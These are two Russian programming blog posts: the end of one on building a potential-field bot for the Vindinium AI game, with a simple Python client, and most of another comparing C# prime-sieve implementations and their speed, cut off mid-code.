+ Можно оставить всё как есть, будет 28\*28 входных нейронов (если карта меньше — заполняем деревьями);
+ Можно центрировать каждый раз по положению героя (возможно принесет какой-либо удивительный результат);
+ Можно представить карту в виде графа, таким образом сильно облегчается работа нейронной сети по нахождению закономерностей; Этот вариант позволит нейронке быстро находить паттерны сложнейшего поведения и быстро понимать, почему, если у нас мало здоровья, мы идем к дальней таверне, если всего в паре клеток от нас есть другая таверна, пусть и впритык к ней стоит противник;
* Уже обученную нейронную сеть, если заранее задаться задачей потребления ресурсов, можно компактно разместить в 512 мегабайтах отведенных нам оперативной памяти (на самом деле получается около 480 мегабайт), да так, что мощности одноплатного компьютера хватит сполна для расчетов.
Однако подростковый максимализм во мне хочет пойти более сложным путем — не возлагать поиск закономерностей на нейронную сеть, а сделать эту работу самостоятельно, в лоб, полагаясь на интуитивную более высокую пластичность данного решения.
Итак. Деревья решений, альфа-бета отсечение, минимаксы… слишком ресурсоёмкие задачи! На сабреддите виндиниума несколько разработчиков, раскрывая завесу тайны своих ботов, уже использовали это решение, и наверняка не в таких спартанских условиях. К сожалению, в этой сфере вряд ли удастся что-либо сделать лучше, чем у остальных.
Начитавшись статей про эволюционные, генетические алгоритмы, решающие деревья, я откопал тайное знание — потенциальные поля. Подробнее о них можно почитать [здесь](https://habrahabr.ru/post/262181/) и [здесь](https://habrahabr.ru/post/307368/). Данная идея показалась очень даже рабочей, ведь потенциальное поле — планарный граф, в каждое звено помещается функция, которая зависит от входных данных (в частности — расстояния от объекта, но никто не мешает сделать больше условий). Всё это прекрасно ложится в реалии виндиниума — тебе не нужно искать путь до объекта, если это уже заложено в алгоритме.
"Довольно специфичные вкусы"
-----------------------------
Давайте понаблюдаем за боями топовых персонажей. Перед началом выберем фаворита, будем следить за ним, болеть за него, журить за неправильные решения в стиле "а вот я бы так поступил на этом месте...". Спустя десяток боев уже можно сделать первый набросок, что такое законопослушный ИИ (условия проверяются по порядку):
1. Не стоит ходить возле спаунпоинта врага, если у врага есть шанс умереть (т.е. если у нас может ждать бесславная смерть, стоя на спаунпоинте врага);
2. Глупо сражаться со своим врагом возле его спаунпоинта, ибо он всё равно аки феникс ясный возродится с полным запасом здоровья и снова попытается захватить наши честно награбленные рудники;
3. Если враг стоит вплотную к нам, а мы стоим возле таверны — время пьянствовать. Судя по многочисленным кровавым боям возле средства пропитания и релаксации, данное правило очень даже актуально;
4. Если мы не можем победить врага/врагов, но мы успеваем добежать до таверны — бежим;
5. Если мы не можем победить врага/врагов И не успеваем дойти до таверны, то:
* Если мы можем самоубиться об ничейную ферму — убиваемся об нее. Выкуси!
* Если мы можем умереть об майнилку человека с самым низким количеством золота — самовыпиливаемся об нее;
* Если же нас ждет печальный конец, то мы нужно отнять у этого гада как можно больше здоровья, пусть долго будет помнить о своей ошибке!
6. Если есть враг, которого мы можем убить в пределах двух наших ходов и у него есть майнилки — атакуем;
7. Если есть враг, удаленный от всех майнилок больше, чем мы, и у него под контроллем 33% майнилок И мы можем его победить — идем побеждать, иначе идем пить пиво;
8. Захватываем фермы, если ничего другого не остается.
Вопрос-ответ:
* В чем его преимущества по сравнению с нейронными сетями, которые в сто крат лучше справятся с этой задачей, или деревьями, что знают все твои n следующих ходов наперед и уже разработали контрмеры, остается только функцию оценки хорошую применить?
* (1) Многофункциональность. Проще изменять параметры, добавлять новые функции. Следишь такой за своим персонажем, радуешься, а тут бац — и видишь, что в определенный момент можно было поступить совсем иначе, более благоразумно, — пишем новое правило или изменяем старое. (2) Также мы знаем точно, каким решением руководствовалась программа во время выбора определенного хода. (3) Потенциальные поля хорошо себя показали в рогаликах как основа для искусственного интеллекта ботов.
* Докажи, что твой подход действеннен, что твои намерения чего-то стоят.
* В лидерборде на 27 месте висит `Zaraza 0.1` — ИИ на потенциальных полях, который руководствуется всего лишь тремя инстинктами — бездумно захватывать всё, что попадется на своем пути, не просыхать в барах и осторожно вести себя с врагами. Если последите за его движениями, то увидите, как хорошо он воюет, хотя это просто невероятно для ИИ, которое базируется на трех простых правилах и ему даже в снах не привидится какое-либо сложное поведение. Более того, сейчас я работаю над `Zonko 0.11`, которая является сильно улучшенной версией выпивохи Zaraz'ы, в нее можно встроить намного более сложное поведение за счет улучшенного взаимодействия с полями — прямо как в новомодном GPS. Но, как оказалось, она прожорливо относится к ресурсам, поэтому сейчас происходит процесс ее оптимизации… Но это я отвлекся, сейчас мы говорим о строгих ограничениях, строгих правилах строгих (...).
* Твои убеждения смехотворны, твоя вера слишком слаба! Я могу создать ИИ на *название\_метода*, и он порвет тебя!
* Очень будет приятно послушать размышления других людей на эту тему. Более того, для тебя я уже сложил все бои топ-10 игроков, всего 1000 боев и порядка 1.000.000 ходов — [ссылка](https://drive.google.com/file/d/0B2C275mx0Ol8RVM4UnZpdVk5cms/view?usp=sharing) (.zip — 33MB, RAW — 1.68GB). Предлагаю условия игры:
+ Регистрировать ботов под своими никнеймами в geektimes.
+ Пяти игрокам, набравшим наибольшее количество очков до 30 сентября, чем я или кто-либо другой среди изъявивших играть, я отправлю открытку из Москвы).
Итак, а теперь язык программирования… Лично я сейчас мечусь между Python3 (быстрая разработка, легко читается, давно знаком с ним, есть pypy3 (быстрый оптимизированный интепретатор), jupyter ("тетрадки", в которых можно спокойно писать куски кода и их оптимизировать до бесконечности); но pypy/pypy3 не работает под ARM 64bit, да и вообще ARM больше не поддерживают, и сам язык в силу своей природы уступает компилируемым) и Golang (тоже быстрая разработка, легко понимается, большой уклон на бэкэнд, многопоточность и мультипроцессность, выполняется быстрее питона; но придется привыкать к отсутствию интерактивной среды, к статической типизации).
Основную функцию, которая общается с сервером, можно представить в таком виде:
**Код**
```
# в глобалях находятся переменные train_url, arena_url, userkey, добытые из config.py
from config import train_url, arena_url, userkey
import requests, random, json, time
def start(is_train = True, debug = True, show_decision = True):
# Получаем информацию
if is_train:
r = requests.post(train_url, data={"key":userkey})
else:
r = requests.post(arena_url, data={"key":userkey})
timer = time.time()
data = json.loads(r.text)
if debug or show_decision:
print('viewUrl:', data['viewUrl'])
print('Размер карты:', data['game']['board']['size'])
#цикл
while True:
if debug:
print('Turn', data['game']['turn'])
# Вызываем функцию принятия решения
direction = random.choice(['North', 'South', 'East', 'West', 'Stay'])
if show_decision or debug:
print('Решение хода',str(data['game']['turn'])+':', direction)
# Возвращаем ответ на сервер, проверяем коды состояния, завершаем игру.
if debug:
print('Время:',time.time()-timer)
r = requests.post(data['playUrl'], data={'key': userkey, 'dir': direction})
timer = time.time()
if r.status_code != 200:
print('Request code :', r.status_code)
print('Reason:', r.reason)
break
data = json.loads(r.text)
if data['game']['finished']:
print('Game finished.')
break
```
Но рекомендуется использовать готовые разработки, ссылки на которых можно найти на официальном сайте Vindinium.
Extra 1: Очень хочу почитать о разработках искусственного интеллекта на основе Виндиниум от других людей, ибо так можно понять всю многогранность решения этиой задачи. Для того, чтобы получить сводку боя в формате json (это может быть полезно для отладки проведенных боев), надо ссылку на бой вида <http://vindinium.org/fd96vc2z> преобразовать в ссылку вида <http://vindinium.org/events/fd96vc2z>. Но не советую мучить сервер игры, пытаясь достать сотни боев топовых игроков, воспользуйтесь ссылкой выше.
Extra 2: Если кто-то хочет попробовать свою наработку в Виндиниум загнать в ограничения NanoPi Neo2 или Orange Pi Zero, я могу предоставить возможность поработать с данными одноплатными компьютерами.
→ [Ссылка на Vindinium](http://vindinium.org/)
→ [Ссылка на сабреддит Vindinium](https://www.reddit.com/r/vindinium/) — очень полезная вещь, там можно отследить мои движения по Виндиниуму
→ [Ссылка на мой гитхаб с небольшими наработками по Vindinium](https://github.com/rakovskij-stanislav/Vindinium_Zaraza)
В следующей части будем настраивать потенциальные поля, работать с потенциальными картами, писать условия и накладывать всё это на современные реалии. | https://habr.com/ru/post/405849/ | null | ru | null |
# Ищем простые числа до триллиона за тридцать минут
Поиск простых чисел — популярная задача среди программистов, увлекающихся математикой. Самый известный алгоритм, придуманный, по-видимому, больше двух тысяч лет назад, — [решето Эратосфена](https://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D1%88%D0%B5%D1%82%D0%BE_%D0%AD%D1%80%D0%B0%D1%82%D0%BE%D1%81%D1%84%D0%B5%D0%BD%D0%B0); в настоящее время существует бесчисленное множество его вариантов и оптимизаций.
Сегодня я хотел бы поделиться с вами различными вариантами реализации поиска простых чисел на языке C#, начиная с классических алгоритмов — решета Эратосфена, Сундарама и Аткина, и кончая различными оптимизациями (сегментация, факторизация). Особый упор я делал на простоту: самый быстрый из алгоритмов, который мне удалось получить, содержит 120 строк кода и ищет простые числа до триллиона меньше, чем за 30 минут, а до миллиарда — меньше, чем за секунду (это далеко от производительности лучших из существующих библиотек по поиску простых чисел, но эти библиотеки обычно содержат свыше 4000 строк кода).
В заключение мы применим самую быструю реализацию для поиска максимального расстояния между двумя соседними простыми числами до триллиона. Прежде чем заходить под кат, я предлагаю вам попытаться угадать ответ. Для сравнения, для простых чисел до 100 максимальное растояние равно 8 (между соседними простыми числами 89 и 97), а до тысячи — 20 (между 887 и 907).
Весь исходный код можно найти [на гитхабе](https://github.com/lightln2/Primes).
1. Решето Эратосфена
--------------------
[Решето Эратосфена](https://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D1%88%D0%B5%D1%82%D0%BE_%D0%AD%D1%80%D0%B0%D1%82%D0%BE%D1%81%D1%84%D0%B5%D0%BD%D0%B0) — самый простой и известный алгоритм для поиска простых чисел. Его суть состоит в следующем:
* Выписываем числа 2, 3, ..., N;
* Берем первое число в списке  и вычеркиваем из списка все числа, кратные ему, начиная с : 4, 6, 8, ...
* Берем следующее число в списке  и вычеркиваем кратные ему 9, 15, ...
* Продолжаем процедуру для каждого последующего числа из оставшихся в списке  пока выполняется неравенство ; оставшиеся после этого в списке числа и будут простыми:
`вычеркиваем кратные 2: [**2**, 3, ~~4~~, 5, ~~6~~, 7, ~~8~~, 9, ~~10~~, 11, ~~12~~, 13, ~~14~~, 15, ...]
вычеркиваем кратные 3: [2, **3**, 5, 7, ~~9~~, 11, 13, ~~15~~, 17, 19, ~~21~~, 23, 25, ~~27~~, ...]
вычеркиваем кратные 5: [2, 3, **5**, 7, 11, 13, 17, 19, 23, ~~25~~, 29, 31, ~~35~~, ...]
и так далее...`
Практическая реализация использует битовый массив длины N, с всеми битами изначально установленными в 1, и для каждого составного числа меняет соответствующий бит на 0.
**SieveOfEratosthenes.cs**
```
public class SieveOfEratosthenes : ISieve
{
private BitArray Data;
public int Length => Data.Length;
public SieveOfEratosthenes(int length)
{
Data = new BitArray(length);
Data.SetAll(true);
for (int p = 2; p * p < length; p++)
{
if (Data[p])
{
for (int i = p * p; i < Length; i += p)
{
Data[i] = false;
}
}
}
}
public void ListPrimes(Action callback)
{
for (int i = 2; i < Length; i++)
{
if (Data[i]) callback.Invoke(i);
}
}
}
```
Поскольку наша задача — сравнить между собой разные реализации поиска простых чисел, мы наследуем все варианты от интерфейса ISieve, имеющего только один метод:
```
public interface ISieve
{
void ListPrimes(Action callback);
}
```
Для перечисления простых чисел был выбран способ колбеков, а не более привычные для C# энумераторы, поскольку он на 10-40% быстрее. Этот интерфейс позволяет единообразно тестировать разные реализации и сравнивать их между собой; в частности, мы будем считать количество, сумму и хеш простых чисел до миллиарда:
**PerformanceTests**
```
static void TestSieve(long length,
long expectedCount,
long expectedSum,
long expectedHash)
{
var sw = Stopwatch.StartNew();
ISieve sieve = CreateSieve(length);
long count = 0, sum = 0, hash = 0;
Action action = (p) => { count++; sum += p; hash = hash \* 31 + p; };
sieve.ListPrimes(action);
AssertEquals(expectedCount, count);
AssertEquals(expectedSum, sum);
AssertEquals(expectedHash, hash);
Console.WriteLine($"{typeof(T).Name} up to {length:N0} in {sw.Elapsed}");
}
static void TestSieve\_1G() =>
TestSieve(1\_000\_000\_000, 50847534, 24739512092254535, 1480810120364005255);
```
Алгоритм: **решето Эратосфена**
Ищет простые числа до миллиарда: **12.6 секунд**.
2. Решето Сундарама
-------------------
[Решето Сундарама](https://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D1%88%D0%B5%D1%82%D0%BE_%D0%A1%D1%83%D0%BD%D0%B4%D0%B0%D1%80%D0%B0%D0%BC%D0%B0) — второй по известности алгоритм поиска нечетных простых чисел, придуманный индийским студентом Сундарамом в 1934 году. Его суть состоит в вычеркивании из списка чисел от 1 до  всех чисел вида 
После этого, для оставшихся в списке чисел , последовательность чисел  будет представлять все нечетные простые числа до N.
`вычеркиваем 1+j+2*1*j: [1, 2, 3, ~~4~~, 5, 6, ~~7~~, 8, 9, ~~10~~, ...]
вычеркиваем 2+j+2*2*j: [1, 2, 3, 5, 6, 8, 9, 11, ~~12~~, 14, 15, ...]
вычеркиваем 3+j+2*3*j: [1, 2, 3, 5, 6, 8, 9, 10, 11, 14, ..., ~~24~~, ...]
и так далее...
последовательность 2n+1: [3, 5, 7, 11, 13, 17, 19, ...]`
**SieveOfSundaram.cs**
```
public class SieveOfSundaram : ISieve
{
private BitArray Data;
public int Length { get; private set; }
public SieveOfSundaram(int length)
{
Length = length;
Data = new BitArray((Length + 1) / 2);
Data.SetAll(true);
for (int i = 1; i + i + 2 * i * i < Data.Length; i++)
{
for (int j = i; i + j + 2 * i * j < Data.Length; j++)
{
Data[i + j + 2 * i * j] = false;
}
}
}
public void ListPrimes(Action callback)
{
callback.Invoke(2);
for (int i = 1; i < Data.Length; i++)
{
if (Data[i])
{
int p = i \* 2 + 1;
if (p >= Length) break;
callback.Invoke(p);
}
}
}
}
```
Заметим, что, в отличие от решета Эратосфена, алгоритм вычеркивает числа для любых комбинаций , поэтому его теоретическая сложность хуже:  против . И действительно, на нашем тесте он работает медленней:
Алгоритм: **решето Сундарама**
Ищет простые числа до миллиарда: **18 секунд**.
3. Решето Аткина
----------------
В 2003 году два профессора математики из Иллинойского университета в Чикаго Артур Аткин и Даниэль Бернштейн опубликовали статью, описывающую принципиально новый алгоритм поиска простых чисел, опирающийся на методы алгебраической теории чисел. Этот алгоритм теперь известен как [решето Аткина](https://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D1%88%D0%B5%D1%82%D0%BE_%D0%90%D1%82%D0%BA%D0%B8%D0%BD%D0%B0). Его основная идея состоит в том, что существуют квадратичные формы  для определенных классов , имеющие нечетное количество решений только когда  — либо простое, либо имеет делитель . Это позволяет с помощью квадратичных форм отсеять все составные числа, не делящиеся на квадрат простого числа, а потом способом, аналогичным решету Эратосфена, отсеять кратные квадратам простых чисел.
Первый шаг имеет изящную реализацию на битовых массивах: значение квадратичной формы вычисляется для всех подходящих комбинаций , и соответствующий бит **меняется на противоположный**. Таким образом, если изначально все биты были установлены в 0, то в конце будут единичными только биты, переключенные нечетное количество раз, то есть биты для тех чисел , для которых соответствующая квадратичная форма имеет нечетное количество решений!
Практическая реализация рассматривает числа , не делящиеся на 2, 3, 5, и имеющие определенные остатки от деления на 60.
**SieveOfAtkin.cs**
```
public class SieveOfAtkin : ISieve
{
private BitArray Data;
public int Length { get; private set; }
public SieveOfAtkin(int length)
{
Length = length;
Data = new BitArray(Length);
Data.SetAll(false);
SieveQuadForm1(Data);
SieveQuadForm2(Data);
SieveQuadForm3(Data);
for (int p = 7; p * p <= length; p++)
{
if (Data[p])
{
for (int i = p * p; i < Length; i += p * p)
{
Data[i] = false;
}
}
}
}
private void SieveQuadForm1(BitArray data)
{
for (int x = 1; 4 * x * x < data.Length; x++)
{
for (int y = 1; 4 * x * x + y * y < data.Length; y += 2)
{
int n = 4 * x * x + y * y;
int rem = n % 60;
if (rem == 1 || rem == 13 || rem == 17 || rem == 29 ||
rem == 37 || rem == 41 || rem == 49 || rem == 53)
{
data[n] = !data[n];
}
}
}
}
private void SieveQuadForm2(BitArray data)
{
for (int x = 1; 3 * x * x < data.Length; x += 2)
{
for (int y = 2; 3 * x * x + y * y < data.Length; y += 2)
{
int n = 3 * x * x + y * y;
int rem = n % 60;
if (rem == 7 || rem == 19 || rem == 31 || rem == 43)
{
data[n] = !data[n];
}
}
}
}
private void SieveQuadForm3(BitArray data)
{
for (int x = 1; 2 * x * x < data.Length; x++)
{
for (int y = x - 1; y > 0; y -= 2)
{
int n = 3 * x * x - y * y;
if (n >= data.Length) continue;
int rem = n % 60;
if (rem == 11 || rem == 23 || rem == 47 || rem == 59)
{
data[n] = !data[n];
}
}
}
}
public void ListPrimes(Action callback)
{
callback.Invoke(2);
callback.Invoke(3);
callback.Invoke(5);
for (int i = 7; i < Length; i++)
{
if (Data[i])
{
callback.Invoke(i);
}
}
}
}
```
Этот алгоритм асимптотически быстрее, чем решето Эратосфена:  против , но за счет большей сложности в практическом применении часто проигрывает решету Эратосфена при сравнимом количестве оптимизаций.
Алгоритм: **решето Аткина**
Ищет простые числа до миллиарда: **11.4 секунд**.
4. Колёсная факторизация
------------------------
[Колёсная факторизация](https://en.wikipedia.org/wiki/Wheel_factorization) — вид оптимизации решета Эратосфена, позволяющий заранее исключить из рассмотрения числа, заведомо не являющиеся простыми. Например, любое простое число, большее 6, имеет остаток от деления на 6 либо 1, либо 5:  или : при любых других остатках число будет делиться либо на 2, либо на 3. Аналогично, простое число, большее , может иметь только один из 8 остатков от деления на 30: . Еще одно преимущество оптимизации — уменьшение потребения памяти: вместо одного бита на число для решета Эратосфена или 0.5 бит на число для решета Сундарама, факторизация с базой  требует примерно 0.27 бит на число, поскольку позволяет хранить 30 чисел в 8 битах. При аккуратном применении оптимизация позволяет ускорить просеивание в несколько раз, однако неоптимизированные варианты обычно работают медленно за счет большей сложности. В [прошлой публикации](https://habr.com/ru/post/504598/) я подробно описывал алгоритм, однако он не был оптимизирован по производительности, поэтому здесь я приведу более простой и эффективный вариант.
**Wheel235.cs**
```
public class Wheel235 : ISieve
{
private static int[] BIT_TO_INDEX = new int[] { 1, 7, 11, 13, 17, 19, 23, 29 };
private static int[] INDEX_TO_BIT = new int[] {
-1, 0,
-1, -1, -1, -1, -1, 1,
-1, -1, -1, 2,
-1, 3,
-1, -1, -1, 4,
-1, 5,
-1, -1, -1, 6,
-1, -1, -1, -1, -1, 7,
};
private byte[] Data;
public long Length { get; private set; }
public Wheel235(long length)
{
Length = length;
Data = new byte[(length + 29) / 30];
for (long i = 0; i < Data.Length; i++) Data[i] = byte.MaxValue;
for (long i = 7; i * i < Length; i++)
{
if (!IsPrime(i)) continue;
for (long d = i * i; d < Length; d += i) ClearPrime(d);
}
}
public bool IsPrime(long n)
{
if (n >= Length) throw new ArgumentException("Number too big");
if (n <= 5) return n == 2 || n == 3 || n == 5;
int bit = INDEX_TO_BIT[n % 30];
if (bit < 0) return false;
return (Data[n / 30] & (1 << bit)) != 0;
}
private void ClearPrime(long n)
{
int bit = INDEX_TO_BIT[n % 30];
if (bit < 0) return;
Data[n / 30] &= (byte)~(1 << bit);
}
public void ListPrimes(Action callback)
{
callback.Invoke(2);
callback.Invoke(3);
callback.Invoke(5);
for (long position = 0; position < Data.Length; position++)
{
for (int bit = 0; bit < 8; bit++)
{
if ((Data[position] & (1 << bit)) != 0)
{
long p = position \* 30 + BIT\_TO\_INDEX[bit];
if (p <= 5) continue;
if (p >= Length) return;
callback.Invoke(p);
}
}
}
}
}
```
Алгоритм: **(2,3,5)-факторизация**
Ищет простые числа до миллиарда: **9.6 секунд**.
5. Оптимизированное решето Эратосфена
-------------------------------------
В оригинальном решете Эратосфена мы создавали битовый массив для всех чисел, хотя очевидно, что простые числа, кроме двойки, не могут быть четными. Поэтому мы оптимизируем хранение, создавая массив, в котором каждый бит будет соответствовать нечетным числам.
Соответственно, нечетное число  будет храниться в бите с номером . Кроме того, при просеивании чисел, кратных нечетным простым , мы можем пропускать четные числа  и обрабатывать только нечетные числа 
**OptimizedSieveOfEratosthenes.cs**
```
public class OptimizedSieveOfEratosthenes : ISieve
{
private BitArray Data;
public int Length { get; private set; }
public OptimizedSieveOfEratosthenes(int length)
{
Length = length;
Data = new BitArray(Length / 2 + 1);
Data.SetAll(true);
int maxFactor = (int)Math.Sqrt(Length);
for (int p = 3; p <= maxFactor; p += 2)
{
if (Data[p / 2])
{
for (int i = p * p; i < Length; i += 2 * p)
{
Data[i / 2] = false;
}
}
}
}
public void ListPrimes(Action callback)
{
callback.Invoke(2);
for (int i = 1; i < Length / 2; i++)
{
if (Data[i])
{
long p = i \* 2 + 1;
if (p >= Length) break;
callback.Invoke(p);
}
}
}
}
```
Эта оптимизация дает нам практически двукратный выигрыш в производительности, и, кроме того, требует 0.5 бита на натуральное число, как и решето Сундарама.
Алгоритм: **Оптимизированное решето Эратосфена**
Ищет простые числа до миллиарда: **6.6 секунд**.
6. Оптимизированное решето Сундарама
------------------------------------
Предыдущая реализация подозрительно похожа на решето Сундарама. По крайней мере, простые числа  и там, и там хранятся в бите с номером . При этом решето Сундарама вычеркивает числа вида . Можно заметить, что из этого следует
то есть, оно делает в точности то же самое, что и оптимизированное решето Эратосфена, только вычисления производятся над индексами битов, а не над самими числами. Поэтому сразу становится видно различие: решето Эратосфена вычеркивает только числа, кратные простым, а решето Сундарама — кратные всем числам! Очевидная оптимизация решета Сундарама — обрабатывать только те числа , для которых  — простое число:
```
if (!Data[i]) continue;
```
Этот тот нечастый случай, когда оптимизация в одну строчку не просто существенно ускоряет алгоритм, но и улучшает его асимптотическую сложность, делая его практически идентичным оптимизированному решету Эратосфена:
**OptimizedSieveOfSundaram.cs**
```
public class OptimizedSieveOfSundaram : ISieve
{
private BitArray Data;
public int Length { get; private set; }
public OptimizedSieveOfSundaram(int length)
{
Length = length;
Data = new BitArray((Length + 1) / 2);
Data.SetAll(true);
for (int i = 1; i + i + 2 * i * i < Data.Length; i++)
{
if (!Data[i]) continue;
for (int j = i; i + j + 2 * i * j < Data.Length; j++)
{
Data[i + j + 2 * i * j] = false;
}
}
}
public void ListPrimes(Action callback)
{
callback.Invoke(2);
for (int i = 1; i < Data.Length; i++)
{
if (Data[i])
{
int p = i \* 2 + 1;
if (p >= Length) break;
callback.Invoke(p);
}
}
}
}
```
Производительность, что не удивительно, совпадает с предыдущим алгоритмом:
Алгоритм: **Оптимизированное решето Сундарама**
Ищет простые числа до миллиарда: **6.5 секунд**.
7. Сегментированное решето Эратосфена
-------------------------------------
Все предыдущие алгоритмы хранили весь результат в памяти, что ограничивает их применение небольшими диапазонами. Например, при поиске простых чисел до триллиона, решето Эратосфена будет требовать 120 гигабайт оперативной памяти; кроме того, его скорость будет деградировать, так как просеивание (вычеркивание составных чисел) бегает по всему массиву, не эффективно используя кеши процессора.
Чтобы обойти это ограничение, вспомним, что для нахождения простых чисел до  нам достаточно вычеркнуть числа, кратные простым, не превосходящим . Это позволяет нам сначала найти простые числа до , а потом разбить отрезок ![$[2..N]$](https://habrastorage.org/getpro/habr/formulas/03b/75e/d45/03b75ed45740a8064cd904107a9dae7a.svg) на меньшие отрезки (сегменты), и в каждом вычеркнуть кратные простым по отдельности. Нахождение первого числа, кратного , в сегменте требует немного арифметики:
```
long first = p * p;
if (first < segmentStart)
{
first += (segmentStart - first + p - 1) / p * p;
}
```
`вычеркиваем кратные 2: [ ~~80~~, 81, ~~82~~, 83, ~~84~~, 85, ~~86~~, 87, ~~88~~, 89, ~~90~~]
вычеркиваем кратные 3: [ ~~81~~, 83, 85, ~~87~~, 89]
вычеркиваем кратные 5: [83, ~~85~~, 89]
вычеркиваем кратные 7 (нет в интервале): [83, 89]`
Этот подход называется [сегментированное решето](https://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D1%88%D0%B5%D1%82%D0%BE_%D0%AD%D1%80%D0%B0%D1%82%D0%BE%D1%81%D1%84%D0%B5%D0%BD%D0%B0#%D0%A1%D0%B5%D0%B3%D0%BC%D0%B5%D0%BD%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%BE%D0%B5_%D1%80%D0%B5%D1%88%D0%B5%D1%82%D0%BE), и с его применением требования к памяти снижаются с  до . На практике размер интервалов выбирают либо равным , либо зависящим от размера кеша процессора.
**SegmentedSieveOfEratosthenes.cs**
```
public class SegmentedSieveOfEratosthenes : ISieve
{
private long Length;
private int FirstChunkLength;
private long[] FirstPrimes;
public SegmentedSieveOfEratosthenes(long length)
{
Length = length;
FirstChunkLength = (int)Math.Sqrt(length) + 1;
SieveOfEratosthenes sieve = new SieveOfEratosthenes(FirstChunkLength);
List firstPrimes = new List();
sieve.ListPrimes(firstPrimes.Add);
FirstPrimes = firstPrimes.ToArray();
}
private void SieveSegment(BitArray segmentData, long segmentStart, long segmentEnd)
{
segmentData.SetAll(true);
foreach (long p in FirstPrimes)
{
long first = p \* p;
if (first < segmentStart)
{
first += (segmentStart - first + p - 1) / p \* p;
}
for (long i = first; i < segmentEnd; i += p)
{
segmentData[(int)(i - segmentStart)] = false;
}
}
}
public void ListPrimes(Action callback)
{
foreach (long p in FirstPrimes) callback.Invoke(p);
int segmentLength = FirstChunkLength;
BitArray segmentData = new BitArray(segmentLength);
long segmentStart = FirstChunkLength;
long segmentEnd = Math.Min(segmentStart + segmentLength, Length);
while (segmentStart < Length)
{
SieveSegment(segmentData, segmentStart, segmentEnd);
for (long i = segmentStart; i < segmentEnd; i++)
{
if (segmentData[(int)(i - segmentStart)]) callback.Invoke(i);
}
segmentStart = segmentEnd;
segmentEnd = Math.Min(segmentStart + segmentLength, Length);
}
}
}
```
За счет лучшего использования кеша алгоритм работает быстрее обычного решета Эратосфена на тех же данных:
Алгоритм: **Сегментированное решето Эратосфена**
Ищет простые числа до миллиарда: **8.6 секунд**.
8. Оптимизированное сегментированное решето
-------------------------------------------
Данная оптимизация относится к «народной» — она широко известна, но, похоже, не имеет своего названия. Цель оптимизации — избавиться от арифметического выражения, вычисляющего первое число в сегменте, кратное простому числу . Так как сегментированное решето обрабатывает сегменты подряд в порядке возрастания, нетрудно убедиться, что нужное число будет равно первому числу, кратному , выхожящему за граниы предыдущего сегмента. Таким образом, нам достаточно для каждого простого числа  хранить текущее кратное ему число. В упрощенном виде это можно представить так:
```
long[] PrimeMultiples = FirstPrimes.Select(p => p * p).ToArray();
...
while(PrimeMultiples[i] < segmentEnd)
{
segmentData[PrimeMultiples[i] - segmentStart] = false;
PrimeMultiples[i] += FirstPrimes[i];
}
```
Полная реализация с небольшими дополнительными оптимизациями позволяет ускорить предыдущий алгоритм примерно на 20%
**OptimizedSegmentedSieve.cs**
```
public class OptimizedSegmentedSieve : ISieve
{
const int BUFFER_LENGTH = 64 * 1024;
private long Length;
private long[] FirstPrimes;
private long[] PrimeMultiples;
public OptimizedSegmentedSieve(long length)
{
Length = length;
int firstChunkLength = (int)Math.Sqrt(length) + 1;
SieveOfEratosthenes sieve = new SieveOfEratosthenes(firstChunkLength);
List firstPrimes = new List();
sieve.ListPrimes(firstPrimes.Add);
FirstPrimes = firstPrimes.ToArray();
PrimeMultiples = FirstPrimes.Select(p => p \* p).ToArray();
}
private void SieveSegment(BitArray segmentData, long segmentStart, long segmentEnd)
{
segmentData.SetAll(true);
long segmentLength = segmentEnd - segmentStart;
for (int i = 0; i < PrimeMultiples.Length; i++)
{
long current = PrimeMultiples[i] - segmentStart;
long prime = FirstPrimes[i];
if (current >= segmentLength) continue;
while (current < segmentLength)
{
segmentData[(int)current] = false;
current += prime;
}
PrimeMultiples[i] = segmentStart + current;
}
}
public void ListPrimes(Action callback)
{
BitArray segmentData = new BitArray(BUFFER\_LENGTH);
long segmentStart = 2;
long segmentEnd = Math.Min(segmentStart + BUFFER\_LENGTH, Length);
while (segmentStart < Length)
{
SieveSegment(segmentData, segmentStart, segmentEnd);
for (int i = 0; i < segmentEnd - segmentStart; i++)
{
if (segmentData[i]) callback.Invoke(segmentStart + i);
}
segmentStart = segmentEnd;
segmentEnd = Math.Min(segmentStart + BUFFER\_LENGTH, Length);
}
}
}
```
Алгоритм: **Оптимизированное сегментированное решето**
Ищет простые числа до миллиарда: **7.1 секунд**.
9. Сегментированная факторизация с базой 2
------------------------------------------
Раньше мы рассматривали оптимзацию, позволяющую хранить только нечетные числа, и ничего нам не мешает применить ее к предыдущему алгоритму. Только теперь массив PrimeMultiples будет хранить не , а :
```
long[] PrimeMultiples = FirstPrimes.Select(p => (p * p - 1) / 2).ToArray();
...
while(PrimeMultiples[i] < segmentEnd)
{
segmentData[PrimeMultiples[i] - segmentStart] = false;
PrimeMultiples[i] += FirstPrimes[i];
}
```
Интересно, что основной цикл исключения составных чисел не изменился, разница только в инициализации массива PrimeMultiples и в преобразовании индекса битов в число по знакомой нам формуле .
**SegmentedWheel2.cs**
```
public class SegmentedWheel2 : ISieve
{
const int BUFFER_LENGTH = 64 * 1024;
private long Length;
private long[] FirstPrimes;
private long[] PrimeMultiples;
public SegmentedWheel2(long length)
{
Length = length;
int firstChunkLength = (int)Math.Sqrt(length) + 1;
SieveOfEratosthenes sieve = new SieveOfEratosthenes(firstChunkLength);
List firstPrimes = new List();
sieve.ListPrimes(firstPrimes.Add);
FirstPrimes = firstPrimes.Skip(1).ToArray();
PrimeMultiples = FirstPrimes.Select(p => (p \* p - 1) / 2).ToArray();
}
private void SieveSegment(BitArray segmentData, long segmentStart, long segmentEnd)
{
segmentData.SetAll(true);
long segmentLength = segmentEnd - segmentStart;
for (int i = 0; i < PrimeMultiples.Length; i++)
{
long current = PrimeMultiples[i] - segmentStart;
long prime = FirstPrimes[i];
if (current >= segmentLength) continue;
while (current < segmentLength)
{
segmentData[(int)current] = false;
current += prime;
}
PrimeMultiples[i] = segmentStart + current;
}
}
public void ListPrimes(Action callback)
{
callback.Invoke(2);
BitArray segmentData = new BitArray(BUFFER\_LENGTH);
long max = Length / 2;
long segmentStart = 1;
long segmentEnd = Math.Min(segmentStart + BUFFER\_LENGTH, max);
while (segmentStart < max)
{
SieveSegment(segmentData, segmentStart, segmentEnd);
